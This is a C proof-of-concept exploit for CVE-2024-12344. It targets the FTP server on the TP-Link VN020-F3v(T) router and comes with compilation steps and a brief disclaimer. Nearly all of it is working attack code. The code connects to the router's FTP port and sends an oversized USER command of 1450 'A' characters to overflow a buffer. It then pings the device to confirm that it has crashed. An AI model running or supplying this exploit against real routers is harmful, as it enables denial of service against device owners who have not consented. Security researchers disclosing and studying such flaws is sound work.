1+ * Exploit Title : TP - Link VN020 F3v (T ) TT_V6 .2.1021 - Buffer Overflow Memory Corruption
2+ * Date : 11 /24 /2024
3+ * Exploit Author : Mohamed Maatallah
4+ * Vendor Homepage : https ://www.tp-link.com
5+ * Version : TT_V6 .2.1021 (VN020 - F3v (T ))
6+ * Tested on : VN020 - F3v (T ) Router (Hardware Version 1.0 )
7+ * CVE : CVE - 2024 - 12344
8+ * Category : Remote
9+
10+ * Description :
11+ * A critical buffer overflow and memory corruption vulnerability was discovered in TP - Link VN020 - F3v (T ) router 's FTP server implementation. The vulnerability stems from improper input validation of the USER command, allowing unauthenticated attackers to trigger various failure modes through payload size manipulation:
12+
13+ * 1. 1100 bytes - Delayed crash (5 - 10 seconds )
14+ * 2. 1450 bytes - Immediate crash
15+ * 3. > 1450 bytes - Undefined behavior /state corruption
16+
17+ * Proof of Concept : (attached full c file )
18+ * Compilation Instructions (Visual Studio ):
19+ * -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -
20+ * 1. Open Visual Studio
21+ * 2. Create a new C Console Application
22+ * 3. Add these additional dependencies to project settings :
23+ * - ws2_32 .lib
24+ * - iphlpapi .lib
25+ * 4. Ensure Windows SDK is installed
26+ * 5. Set Platform Toolset to latest v143 or v142
27+ * 6. Compile in Release or Debug mode
28+ *
29+ * Disclaimer :
30+ * -- -- -- -- --
31+ * This proof of concept is for educational and research purposes only .
32+ * Unauthorized testing without explicit permission is unethical and illegal .
33+ * /
34+
35+ #define _CRT_SECURE_NO_WARNINGS
36+ #include < stdio .h >
37+ #include < stdlib .h >
38+ #include < winsock2 .h >
39+ #include < ws2tcpip .h >
40+ #include < stdint .h >
41+ #include < windows .h >
42+ #include < iphlpapi .h >
43+ #include < icmpapi .h >
44+
45+ #pragma comment (lib , "ws2_32.lib" )
46+ #pragma comment (lib , "iphlpapi.lib" )
47+
48+ // Target configuration - MODIFY BEFORE TESTING
49+ #define DEST_IP "192.168.1.1" // IP of target FTP server
50+ #define DEST_PORT 21 // Standard FTP port
51+ #define PING_TIMEOUT_MS 1000 // Network timeout
52+ #define MAX_PING_RETRIES 5 // Connectivity check attempts
53+
54+ // 1450: Instant
55+ // 1100: Delayed
56+ #define CRASH_STRING_LENGTH 1450 // Exact number of 'A's triggering instantcrash
57+ #define TOTAL_PAYLOAD_LENGTH (CRASH_STRING_LENGTH + 5 + 2 ) // USER + As + \r\n
58+
59+ typedef struct {
60+ HANDLE icmp_handle ;
61+ IPAddr target_addr ;
62+ LPVOID reply_buffer ;
63+ DWORD reply_size ;
64+ } ping_context_t ;
65+
66+ void log_msg (const char * prefix , const char * msg ) {
67+ SYSTEMTIME st ;
68+ GetLocalTime (& st );
69+ printf ("[%02d:%02d:%02d] %s %s\n" , st .wHour , st .wMinute , st .wSecond , prefix , msg );
70+ }
71+
72+ void hexdump (const char * desc , const void * addr , const int len ) {
73+ int i ;
74+ unsigned char buff [17 ];
75+ const unsigned char * pc = (const unsigned char * )addr ;
76+
77+ if (desc != NULL )
78+ printf ("%s:\n" , desc );
79+
80+ for (i = 0 ; i < len ; i ++ ) {
81+ if ((i % 16 ) == 0 ) {
82+ if (i != 0 )
83+ printf (" %s\n" , buff );
84+ printf (" %04x " , i );
85+ }
86+
87+ printf (" %02x" , pc [i ]);
88+
89+ if ((pc [i ] < 0x20 ) || (pc [i ] > 0x7e ))
90+ buff [i % 16 ] = '.' ;
91+ else
92+ buff [i % 16 ] = pc [i ];
93+ buff [(i % 16 ) + 1 ] = '\0' ;
94+ }
95+
96+ while ((i % 16 ) != 0 ) {
97+ printf (" " );
98+ i ++ ;
99+ }
100+
101+ printf (" %s\n" , buff );
102+ }
103+
104+ BOOL check_connectivity (ping_context_t * ctx ) {
105+ char send_buf [32 ] = { 0 };
106+ return IcmpSendEcho (ctx -> icmp_handle , ctx -> target_addr , send_buf , sizeof (send_buf ),
107+ NULL , ctx -> reply_buffer , ctx -> reply_size , PING_TIMEOUT_MS ) > 0 ;
108+ }
109+
110+ char * generate_exact_crash_payload () {
111+ char * payload = (char * )malloc (TOTAL_PAYLOAD_LENGTH + 1 ); // +1 for null terminator
112+ if (!payload ) {
113+ log_msg ("[-]" , "Failed to allocate payload memory" );
114+ return NULL ;
115+ }
116+
117+ // Construct the exact payload that causes crash
118+ strcpy (payload , "USER " ); // 5 bytes
119+ memset (payload + 5 , 'A' , CRASH_STRING_LENGTH ); // 1450 'A's
120+ memcpy (payload + 5 + CRASH_STRING_LENGTH , "\r\n" , 2 ); // 2 bytes
121+ payload [TOTAL_PAYLOAD_LENGTH ] = '\0' ;
122+
123+ char debug_msg [100 ];
124+ snprintf (debug_msg , sizeof (debug_msg ), "Generated payload of length %d ('A's + 5 byte prefix + 2 byte suffix)" ,
125+ TOTAL_PAYLOAD_LENGTH );
126+ log_msg ("[*]" , debug_msg );
127+
128+ return payload ;
129+ }
130+
131+ BOOL send_crash_payload (const char * target_ip , uint16_t target_port ) {
132+ WSADATA wsa ;
133+ SOCKET sock = INVALID_SOCKET ;
134+ struct sockaddr_in server ;
135+ char server_reply [2048 ];
136+ int recv_size ;
137+ ping_context_t ping_ctx = { 0 };
138+ BOOL success = FALSE;
139+
140+ // Initialize Winsock
141+ if (WSAStartup (MAKEWORD (2 , 2 ), & wsa ) != 0 ) {
142+ log_msg ("[-]" , "Winsock initialization failed" );
143+ return FALSE;
144+ }
145+
146+ // Setup ICMP for connectivity monitoring
147+ ping_ctx .icmp_handle = IcmpCreateFile ();
148+ ping_ctx .reply_size = sizeof (ICMP_ECHO_REPLY ) + 32 ;
149+ ping_ctx .reply_buffer = malloc (ping_ctx .reply_size );
150+ inet_pton (AF_INET , target_ip , & ping_ctx .target_addr );
151+
152+ // Create socket
153+ sock = socket (AF_INET , SOCK_STREAM , 0 );
154+ if (sock == INVALID_SOCKET ) {
155+ log_msg ("[-]" , "Socket creation failed" );
156+ goto cleanup ;
157+ }
158+
159+ // Setup server address
160+ server .sin_family = AF_INET ;
161+ server .sin_port = htons (target_port );
162+ inet_pton (AF_INET , target_ip , & server .sin_addr );
163+
164+ // Connect to FTP server
165+ log_msg ("[*]" , "Connecting to target FTP server..." );
166+ if (connect (sock , (struct sockaddr * )& server , sizeof (server )) < 0 ) {
167+ log_msg ("[-]" , "Connection failed" );
168+ goto cleanup ;
169+ }
170+ log_msg ("[+]" , "Connected successfully" );
171+
172+ // Verify initial connectivity
173+ if (!check_connectivity (& ping_ctx )) {
174+ log_msg ("[-]" , "No initial connectivity to target" );
175+ goto cleanup ;
176+ }
177+
178+ // Receive banner
179+ if ((recv_size = recv (sock , server_reply , sizeof (server_reply ) - 1 , 0 )) == SOCKET_ERROR ) {
180+ log_msg ("[-]" , "Failed to receive banner" );
181+ goto cleanup ;
182+ }
183+ server_reply [recv_size ] = '\0' ;
184+ log_msg ("[*]" , server_reply );
185+
186+ // Generate and send the exact crash payload
187+ char * payload = generate_exact_crash_payload ();
188+ if (!payload ) {
189+ goto cleanup ;
190+ }
191+
192+ log_msg ("[*]" , "Sending crash payload..." );
193+ hexdump ("Payload hex dump (first 32 bytes)" , payload , 32 );
194+
195+ if (send (sock , payload , TOTAL_PAYLOAD_LENGTH , 0 ) < 0 ) {
196+ log_msg ("[-]" , "Failed to send payload" );
197+ free (payload );
198+ goto cleanup ;
199+ }
200+ free (payload );
201+ log_msg ("[+]" , "Payload sent successfully" );
202+
203+ // Monitor for crash
204+ log_msg ("[*]" , "Monitoring target status..." );
205+ Sleep (1000 ); // Wait a bit for crash to take effect
206+
207+ int failed_pings = 0 ;
208+ for (int i = 0 ; i < MAX_PING_RETRIES ; i ++ ) {
209+ if (!check_connectivity (& ping_ctx )) {
210+ failed_pings ++ ;
211+ if (failed_pings >= 3 ) {
212+ log_msg ("[+]" , "Target crash confirmed!" );
213+ success = TRUE;
214+ goto cleanup ;
215+ }
216+ }
217+ Sleep (500 );
218+ }
219+
220+ log_msg ("[-]" , "Target appears to still be responsive" );
221+
222+ cleanup :
223+ if (sock != INVALID_SOCKET ) {
224+ closesocket (sock );
225+ }
226+ if (ping_ctx .icmp_handle != INVALID_HANDLE_VALUE ) {
227+ IcmpCloseHandle (ping_ctx .icmp_handle );
228+ }
229+ if (ping_ctx .reply_buffer ) {
230+ free (ping_ctx .reply_buffer );
231+ }
232+ WSACleanup ();
233+ return success ;
234+ }
235+
236+ int main (void ) {
237+ printf ("\nTP-Link VN020 FTP Memory Corruption PoC\n" );
238+ printf ("---------------------------------------\n" );
239+ printf ("Target: %s:%d\n" , DEST_IP , DEST_PORT );
240+ if (send_crash_payload (DEST_IP , DEST_PORT )) {
241+ printf ("\nExploit successful - target crashed\n" );
242+ }
243+ else {
244+ printf ("\nExploit failed - target may be patched\n" );
245+ }
246+
247+ return 0 ;
248+ }
0 commit comments